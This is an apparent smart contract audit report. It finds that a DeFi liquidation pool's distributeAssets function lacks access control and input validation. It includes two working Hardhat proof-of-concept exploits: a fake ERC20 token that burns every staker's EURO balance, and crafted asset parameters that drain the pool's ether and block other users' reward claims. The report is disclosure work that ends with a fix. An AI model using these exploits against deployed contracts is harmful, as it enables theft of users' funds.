Summary
distributeAssets is used to distribute collateral from vault liquidations. It is expected to be called from LiquidationPoolManager, however there in no check for that. This function can be called by anyone with malicious paramas and can be used to burn all of the user's EURO balances. Also this function can be used to steal all the ether from the contract.
Vulnerability details
function runLiquidation(uint256 _tokenId) external {
ISmartVaultManager manager = ISmartVaultManager(smartVaultManager);
manager.liquidateVault(_tokenId);
distributeFees();
ITokenManager.Token[] memory tokens = ITokenManager(
manager.tokenManager()
).getAcceptedTokens();
ILiquidationPoolManager.Asset[]
memory assets = new ILiquidationPoolManager.Asset[](tokens.length);
uint256 ethBalance;
for (uint256 i = 0; i < tokens.length; i++) {
ITokenManager.Token memory token = tokens[i];
if (token.addr == address(0)) {
ethBalance = address(this).balance;
if (ethBalance > 0)
assets[i] = ILiquidationPoolManager.Asset(
token,
ethBalance
);
} else {
IERC20 ierc20 = IERC20(token.addr);
uint256 erc20balance = ierc20.balanceOf(address(this));
if (erc20balance > 0) {
assets[i] = ILiquidationPoolManager.Asset(
token,
erc20balance
);
ierc20.approve(pool, erc20balance);
}
}
}
LiquidationPool(pool).distributeAssets{value: ethBalance}(
assets,
manager.collateralRate(),
manager.HUNDRED_PC()
);
forwardRemainingRewards(tokens);
}
LiquidationPool(pool).distributeAssets{value: ethBalance}(
assets,
manager.collateralRate(),
manager.HUNDRED_PC()
);
distributeAssets is called in runLiquidation function in LiquidationPoolManager with correct paramas.
Now let's take a look at distributeAssets itself:
function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable {
consolidatePendingStakes();
(,int256 priceEurUsd,,,) = Chainlink.AggregatorV3Interface(eurUsd).latestRoundData();
uint256 stakeTotal = getStakeTotal();
uint256 burnEuros;
uint256 nativePurchased;
for (uint256 j = 0; j < holders.length; j++) {
Position memory _position = positions[holders[j]];
uint256 _positionStake = stake(_position);
if (_positionStake > 0) {
for (uint256 i = 0; i < _assets.length; i++) {
ILiquidationPoolManager.Asset memory asset = _assets[i];
if (asset.amount > 0) {
(,int256 assetPriceUsd,,,) = Chainlink.AggregatorV3Interface(asset.token.clAddr).latestRoundData();
uint256 _portion = asset.amount * _positionStake / stakeTotal;
uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) / uint256(priceEurUsd)
* _hundredPC / _collateralRate;
if (costInEuros > _position.EUROs) {
_portion = _portion * _position.EUROs / costInEuros;
costInEuros = _position.EUROs;
}
_position.EUROs -= costInEuros;
rewards[abi.encodePacked(_position.holder, asset.token.symbol)] += _portion;
burnEuros += costInEuros;
if (asset.token.addr == address(0)) {
nativePurchased += _portion;
} else {
IERC20(asset.token.addr).safeTransferFrom(manager, address(this), _portion);
}
}
}
}
positions[holders[j]] = _position;
}
if (burnEuros > 0) IEUROs(EUROs).burn(address(this), burnEuros);
returnUnpurchasedNative(_assets, nativePurchased);
}
As we can see there is no access control and no input validation. distributeAssets will "buy" tokens from manager and user's staked EURO will be used to pay for the liquidated assets. Function takes portion of the rewards that the user will receive and checks if he can afford it. If so it will use calculated costInEuros. If user's staked EURO does not allow him to buy the full amount of the liquidated assets, the function will calculate the amount of assets that the user is able to buy using his balance. Then the amount will be subtracted from user's position.
uint256 _portion = asset.amount * _positionStake / stakeTotal;
uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) / uint256(priceEurUsd)
* _hundredPC / _collateralRate;
if (costInEuros > _position.EUROs) {
_portion = _portion * _position.EUROs / costInEuros;
costInEuros = _position.EUROs;
}
_position.EUROs -= costInEuros;
rewards[abi.encodePacked(_position.holder, asset.token.symbol)] += _portion;
burnEuros += costInEuros;
if (asset.token.addr == address(0)) {
nativePurchased += _portion;
} else {
IERC20(asset.token.addr).safeTransferFrom(manager, address(this), _portion);
}
One of the possible exploits is that attacker could use some fake ERC20 which simply returns true from IERC20(asset.token.addr).safeTransferFrom(manager, address(this), _portion); whenever it is called. Then he could craft custom params which can be manipulated in many ways. Then the user will burn all of the staked EURO because distributeAssets use user's staked EURO to pay for the collateral received from liquidtation.
I will show step by step scenario and provide a PoC. The test will show, that all EURO can be burned using distributeAssets.
User has to find or create custom token that matches ERC20 standard. I will use custom ERC20 in my PoC with transferFrom simply returning true whenever it is called.
function transferFrom(
address from,
address to,
uint256 amount
) public returns (bool) {
return true;
}
Create parameters for distributeAssets function. distributeAssets expects 3 params, ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC. In this scenario we will skip manipulating _collateralRate and _hundredPC, but these also can be manipulated.
Let's manipulate _assets array.
_assets array is made of structs which hold token struct and amount to be split among stakers.
struct Token { bytes32 symbol; address addr; uint8 dec; address clAddr; uint8 clDec; }
struct Asset { ITokenManager.Token token; uint256 amount; }
The first part of Asset struct is a Token struct
as a bytes32 symbol use our fake ERC20 symbol (shown in PoC)
as an address addr use address of fake ERC20
as uint8 dec use decimals of fake ERC20
as address clAddr use any chainlink price feed address (any asset), (we will use WBTC / USD in PoC)
as uint8 clDec use 8 as it is the precision of the price from chainlink price feed
The second part of the Asset struct is the amount:
After calling distributeAssets all of the users EUROs will be used to pay for worthless tokens which do not even exist.
PoC
Please add this file to contracts/utils. This token can be used by an attacker to burn all of user's euro
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract MockFakeToken is IERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return 18;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public returns (bool) {
return true;
}
function allowance(
address owner,
address spender
) public view returns (uint256) {
return 0;
}
function approve(address spender, uint256 amount) public returns (bool) {
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public returns (bool) {
return true;
}
}
Please add this test to test/liquidationPool.js and run npx hardhat test
describe("Exploit", () => {
it("allows an attacker to burn all EURO in system with fake token", async () => {
const MockFakeToken = await ethers.getContractFactory("MockFakeToken");
const mockFakeToken = await MockFakeToken.deploy("FAKE", "TKN");
const WBTCPrice = 4247973500000
const WBTCPriceFeed = await (await ethers.getContractFactory('ChainlinkMock')).deploy('WBTC / USD');
await WBTCPriceFeed.setPrice(WBTCPrice);
const balance = ethers.utils.parseEther('5000');
const tstVal = ethers.utils.parseEther('4000');
const eurosVal = ethers.utils.parseEther('3000');
await TST.mint(user1.address, balance);
await EUROs.mint(user1.address, balance);
await TST.connect(user1).approve(LiquidationPool.address, tstVal);
await EUROs.connect(user1).approve(LiquidationPool.address, eurosVal);
await TST.mint(user2.address, balance);
await EUROs.mint(user2.address, balance);
await TST.connect(user2).approve(LiquidationPool.address, tstVal);
await EUROs.connect(user2).approve(LiquidationPool.address, eurosVal);
await LiquidationPool.connect(user1).increasePosition(tstVal, eurosVal);
await LiquidationPool.connect(user2).increasePosition(tstVal, eurosVal);
await network.provider.send("evm_increaseTime", [60 * 60 * 25])
let { _position } = await LiquidationPool.position(user1.address);
expect(_position.EUROs).to.equal(eurosVal);
({ _position } = await LiquidationPool.position(user2.address))
expect(_position.EUROs).to.equal(eurosVal);
const fakeSymbol = ethers.utils.formatBytes32String("TKN")
const fakeTokenAddress = mockFakeToken.address
const fakeDecimals = 18
const fakeChainlinkAddress = WBTCPriceFeed.address
const fakeChainlinkDecimals = 8
const amount = ethers.utils.parseEther('10000')
const tokenStruct = {
symbol: fakeSymbol,
addr: fakeTokenAddress,
dec: fakeDecimals,
clAddr: fakeChainlinkAddress,
clDec: fakeChainlinkDecimals
}
const params = [[tokenStruct,amount]]
await LiquidationPool.distributeAssets(params, 110000, 100000);
({ _position } = await LiquidationPool.position(user1.address));
expect(_position.EUROs).to.equal('0');
({ _position } = await LiquidationPool.position(user2.address))
expect(_position.EUROs).to.equal('0');
})
})
It shows that distributeAssets does not validate the inputs and has no access control. An attacker user could burn all the user's EURO.
There is also a possibility that the attacker will have an opportunity to buy most of the tokens from this pool. To do that he would need to know 24 hours in advance about the incoming liquidations. Then create new stake with big amount of TST and EURO to cover the payment for liquidated assets. Then he could use this exploit to wipe people's positions and right before the liquidation, his stake will be consolidated. After all that he will have and opportunity to buy these assets with EURO. This is very hard to do due to long pre stake period, however it is still doable.
There is a third option that this function can be exploit for profit. User can basically buy ether in the contract (which was not yet claimed by others) on huge discount and DoS other users disallowing them to withdraw rewards. This can be achieved by:
Creating _assets array
struct Token { bytes32 symbol; address addr; uint8 dec; address clAddr; uint8 clDec; }
struct Asset { ITokenManager.Token token; uint256 amount; }
The first part of Asset struct is a Token struct
as a bytes32 symbol use ehter symbol used in protocol
as an address addr use address(0)
as uint8 dec 18
as address clAddr use any chainlink price feed address, it is important to use price feed which returns the lowest possbile price, this will be the price used to calculate price of ether
as uint8 clDec use the decimals value that chosen price feed uses
The second part of the Asset struct is the amount:
as an uint256 amount we need to provide value that will allow us an other users to withdraw the whole balance of the contract, but we will have to be first to do it because when we withdraw all the ETH others will not receive any ether, it will also make claiming other rewards imposible since contract would try to send ether that is does not hold. As a result it will revert and no other rewards will be sent. So this exploit not only steals ether from contract. It also DoS other users and freezes all of the funds inside the contract.
It is possible because distributeAssets simply adds ether amount and does not validate if it is a real value received:
if (asset.token.addr == address(0)) {
nativePurchased += _portion;
}
After calling distributeAssets attacker will have most or all of the eth and other user will not be able to withdraw any rewards, because the function will try to send more ether than the contract has and revert.
Please take a look at the PoC for this exploit to see example values and steps that are required to take advantage of this function.
PoC 2
Please add this test to test/liquidationPool.js
describe("Exploit2", () => {
it("allows an attacker to steal all the ether and DoS other users", async () => {
const ethCollateral = ethers.utils.parseEther('10');
const newBalanceHex = ethCollateral.toHexString().replace("0x0", "0x");
await hre.network.provider.send("hardhat_setBalance", [
LiquidationPool.address,
newBalanceHex,
]);
console.log("Pool ether balance (ether not claimed by user)")
console.log(await ethers.provider.getBalance(LiquidationPool.address))
console.log("Attacker balance")
console.log(await ethers.provider.getBalance(user1.address))
const LiraPrice = 3366629
const LiraPriceFeed = await (await ethers.getContractFactory('ChainlinkMock')).deploy('TRY / USD');
await LiraPriceFeed.setPrice(LiraPrice);
const balance = ethers.utils.parseEther('5000');
const tstVal = ethers.utils.parseEther('4000');
const eurosVal = ethers.utils.parseEther('3000');
await TST.mint(user1.address, balance);
await EUROs.mint(user1.address, balance);
await TST.connect(user1).approve(LiquidationPool.address, tstVal);
await EUROs.connect(user1).approve(LiquidationPool.address, eurosVal);
await TST.mint(user2.address, balance);
await EUROs.mint(user2.address, balance);
await TST.connect(user2).approve(LiquidationPool.address, tstVal);
await EUROs.connect(user2).approve(LiquidationPool.address, eurosVal);
await LiquidationPool.connect(user1).increasePosition(tstVal, eurosVal);
await LiquidationPool.connect(user2).increasePosition(tstVal, eurosVal);
await network.provider.send("evm_increaseTime", [60 * 60 * 25])
let { _position } = await LiquidationPool.position(user1.address);
expect(_position.EUROs).to.equal(eurosVal);
({ _position } = await LiquidationPool.position(user2.address))
expect(_position.EUROs).to.equal(eurosVal);
const TestSymbol = ethers.utils.formatBytes32String('ETH')
const TestAddress = ethers.constants.AddressZero
const TestDecimals = 18
const TestChainlinkAddress = LiraPriceFeed.address
const TestChainlinkDecimals = 8
const amount = ethers.utils.parseEther('20')
const tokenStruct = {
symbol: TestSymbol,
addr: TestAddress,
dec: TestDecimals,
clAddr: TestChainlinkAddress,
clDec: TestChainlinkDecimals
}
const params = [[tokenStruct,amount]]
await LiquidationPool.distributeAssets(params, 100000, 100000);
console.log("Pool ether balance (ether not claimed by user)")
console.log(await ethers.provider.getBalance(LiquidationPool.address))
await LiquidationPool.connect(user1).claimRewards()
console.log("Pool ether balance (ether not claimed by user)")
console.log(await ethers.provider.getBalance(LiquidationPool.address))
console.log("Attacker balance")
console.log(await ethers.provider.getBalance(user1.address))
await expect(LiquidationPool.connect(user2).claimRewards()).to.be.reverted;
})
})
Impact
All of the EURO in LiquidationPool will be burned meaning loss of funds for the users. Also an attacker can buy ether for little to no EURO stealing from contract and DoSing claimRewards function for other users.
Tools used
VScode, Manual Review, Hardhat
Recommendations
To prevent this exlopit from happening the protocol could implement access control for distributeAssets function. It should ensure that this function can only be called by the LiquidationPoolManager.